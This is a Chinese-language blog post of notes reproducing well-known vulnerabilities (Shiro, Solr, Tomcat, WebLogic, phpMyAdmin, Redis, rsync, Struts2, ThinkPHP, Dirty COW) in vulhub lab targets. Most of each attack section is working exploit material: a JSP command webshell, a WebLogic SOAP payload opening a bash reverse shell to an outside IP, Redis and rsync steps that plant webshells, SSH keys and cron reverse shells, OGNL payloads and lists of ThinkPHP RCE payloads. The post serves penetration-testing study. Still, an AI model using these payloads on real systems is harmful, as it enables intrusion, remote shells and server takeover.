漏洞复现

复现一些常见并且影响范围广的漏洞

Apache Shiro Java反序列化漏洞 (CVE-2016-4437, Shiro550)

简介

Apache Shiro 默认使用 CookieRememberMeManager,其处理 cookie 的流程是:得到 rememberMe 的 cookie 值,base64 解码,AES 解密,反序列化。AES的密钥是硬编码的,攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。

影响范围

  • Apache Shiro < 1.2.5

环境搭建

使用 vulhub 中的漏洞环境,用admin:vulhub登录。

漏洞利用

使用 ShiroExploit,一路下一步即可命令执行。

Apache Solr 远程命令执行(CVE-2019-0193)

简介

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响范围

  • Apache Solr 5.x - 8.2.0 存在 config API 版本

环境搭建

使用 vulhub 靶机

漏洞利用

创建了一个名为 test 的 core 节点,此漏洞利用的前提是知道 core 的名称。

漏洞产生原因是能够直接访问 solr 控制台,通过发送类似solr/节点名/config的POST请求对该节点的配置文件做更改,能进入控制台能看见 core 节点的名称。也可以尝试访问/solr/admin/aores能看见创建的全部 core 节点的名称。

python2脚本,CVE-2019-0193.py

1
python CVE-2019-0193.py http://192.168.67.145:8983/ "pwd"

Apache Tomcat 文件包含漏洞 (CVE-2020-1938,幽灵猫)

简介

Apache Tomcat 会开启 AJP 连接器,方便与其他 web 服务器通过 AJP 协议进行交互,由于 Tomcat 本身也内涵 HTTP 服务器,因此也可以视为一个单独的 web 服务器。

攻击者可以利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,包括 webapp 配置文件和源代码等。

影响范围

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

环境搭建

使用 vulhub 中的漏洞环境(tomcat 9.0.30),靶机地址192.168.67.144(NAT)。

漏洞利用

1
2
3
4
5
6
7
8
$ nmap  -sV 192.168.67.144
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-17 19:31 CST
Nmap scan report for 192.168.67.144
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.30

POC:

1
2
3
4
5
https://github.com/00theway/Ghostcat-CNVD-2020-10487 # 可RCE
https://github.com/0nise/CVE-2020-1938
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC # 本文使用
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/

CVE-2020-1938.pyCVE-2020-1938-requirements.txt

1
2
$ pip install -r CVE-2020-1938-requirments.txt
$ python CVE-2020-1938.py -p 8009 -f "/WEB-INF/web.xml“ 192.168.67.144

可配合文件上传 RCE,需要有上传点且已知路径。

Apache Tomcat 弱口令

简介

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。

环境搭建

使用 vulhub 靶机

漏洞利用

访问 http://ip:8080/manager/html,输入弱口令tomcat:tomcat

在 WAR file to deploy 中上传小马,内容:

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

压缩为 zip 文件,并将后缀名改为 war,上传。

访问http://ip:8080/shell/shell.jsp?pwd=123&cmd=ls成功执行 ls

Weblogic XML Decoder 反序列化(CVE-2017-10271)

简介

Weblogic是oracle推出的application server,由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性,备受广大系统管理员的青睐。

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

影响范围

  • Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 12.2.1.1.0

环境搭建

使用 vulhub 中的靶机

漏洞利用

使用 vulhub 中的靶机

POST 请求(反弹shell):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.9.1/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

写入 shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

phpMyAdmin 远程代码执行(CVE-2016-5774)

简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。

影响范围

  • phpmyadmin 4.0.x - 4.6.2

环境搭建

使用 vulhub 的靶机,PHP 5.3 + Apache + phpMyAdmin 4.4.15.6

漏洞利用

使用 exploit-db的POCCVE-2016-5734.py

1
2
python CVE-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/
# -c 为要执行的 php 语句,-u 数据库用户名,-p 密码,-d 数据库

phpMyAdmin 远程文件包含(CVE-2018-12613)

简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

影响范围

  • phpMyAdmin 4.8.1

环境搭建

使用 vulhub 的环境

漏洞利用

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可以看到文件包含成功

执行SELECT '<?=phpinfo()?>',查看自己的 sessionid (phpMyAdmin 的值),然后包含 session 文件,常见 session 文件位置

1
2
3
4
5
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

该容器中 session 文件在/tmp/sess_PHPSESSID

Redis 未授权访问

简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

影响范围

  • redis 4.x - redis 5.x

环境搭建

使用 vulhub 中的靶机

漏洞利用

nmap 探测,nmap -sS 104.199.148.119 ‐‐script=redis‐info

redis-cli 连接,redis-cli -h 104.199.148.219

写入webshell(前提:开启 web 服务,已知绝对路径,有文件操作权限):

1
2
3
4
5
6
7
8
# 设置 dir 为网站路径
config set dir /var/www/html
# 设置文件内容,xxx为任意内容
set xxx "\n\n\n<?php @eval($_POST['shell']);?>\n\n\n"
# 设置文件名
config set dbfilename shell.php
# 保存,生成文件
save

写入 ssh key(前提:开启 ssh 服务):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 本地创建 ssh 密钥
ssh-keygen -t rsa
# 将公钥内容写入如文本
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > pub.txt
# 将内容写入 redis 服务器,设定 key 为 pub
cat pub.txt | redis-cli -h 104.199.148.219 -x set pub
# 访问靶机
redis-cli -h 104.199.148.219``
# 设置公钥备份文件名为 authorized_keys
config set dbfilename authorized_keys
# 保存
save
# 攻击机 ssh 连接靶机
ssh -i id_rsa root@104.199.148.219

crontab:

1
2
3
4
5
6
7
8
9
# 监听一个端口
nc -lvvp 4444
# 写入计划任务
redis-cli -h 104.199.148.219
set xxx "\n\n*/1 * * * * /bin/bash ‐i>&/dev/tcp/192.168.40.131/4321 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
# 1分钟后反弹 shell

主从复制 RCE,

Redis提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

Lua RCE,工具

rsync 未授权访问

简介

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

环境搭建

使用 vulhub 中的靶机

漏洞利用

1
2
3
rsync rsync://your-ip:873/
rsync rsync://your-ip:873/src # 列出src模块下的文件
rsync -av rsync://your-ip:873/src/etc/passwd ./ # 任意文件下载

反弹 shell,内容:

1
2
#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

提供可执行权限

1
chmod +x shell

上传至 /etc/cron.hourly

1
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

监听端口

1
nc -lvvp 4444

Struts2 S2-057 远程命令执行漏洞(()CVE-2018-11776)

简介

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

影响范围

  • <= Struct 2.3.34
  • Struts 2.5.16

环境搭建

使用 vulhub 靶机

漏洞利用

测试OGNL表达式${233*233}

1
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到 Location 头中计算出了表达式的值。

执行表达式(发送前需 URL 编码):

1
2
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

同样可在返回头 Location 中看到结果

ThinkPHP 5 远程命令执行

简介

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响范围

  • ThinkPHP 5.0-5.0.24
  • ThinkPHP 5.1.0-5.1.30

环境搭建

使用 vulhub 中的靶机

漏洞利用

5.0.20 版本:

1
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

执行 phpinfo

5.0.23 版本:

http://192.168.67.145:8080/index.php?s=captcha POST数据

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

成功执行 id

其他 payload:

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

1
2
3
4
5
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.235.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

简介

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

影响范围

CVE-2019-2725

脏牛 Dirty COW

Linux Kernel 2.6.22 < 3.9 - ‘Dirty COW /proc/self/mem’ Race COndition Privilege Escalation(/etc/passwd Method),https://www.exploit-db.com/exploits/40847

脏牛漏洞成功率较高的 exp,一般 exp 提权可能导致服务器宕机,https://github.com/FireFart/dirtycow

使用gcc -pthread dirty.c -o dirty -lcrypt命令对 dirty.c 进行编译,生成一个 dirty 可执行文件,执行 ./dirty 密码命令提权,https://github.com/gbonacini/CVE-2016-5195

解压进入文件夹,执行 make 生成一个 dcow 可执行文件,执行./dcow-s命令提权

待复现

  • Windows RDP 的RCE (CVE-2019-0708)

  • Pulse Secure SSLVPN

  • Apache Solr RCE

  • 脏牛 内核提权漏洞 (CVE-2016-5195)

  • CVE-2020-0796,POC:https://github.com/danigargu/CVE-2020-0796

作者

lll

发布于

2020-05-17

更新于

2022-09-19

许可协议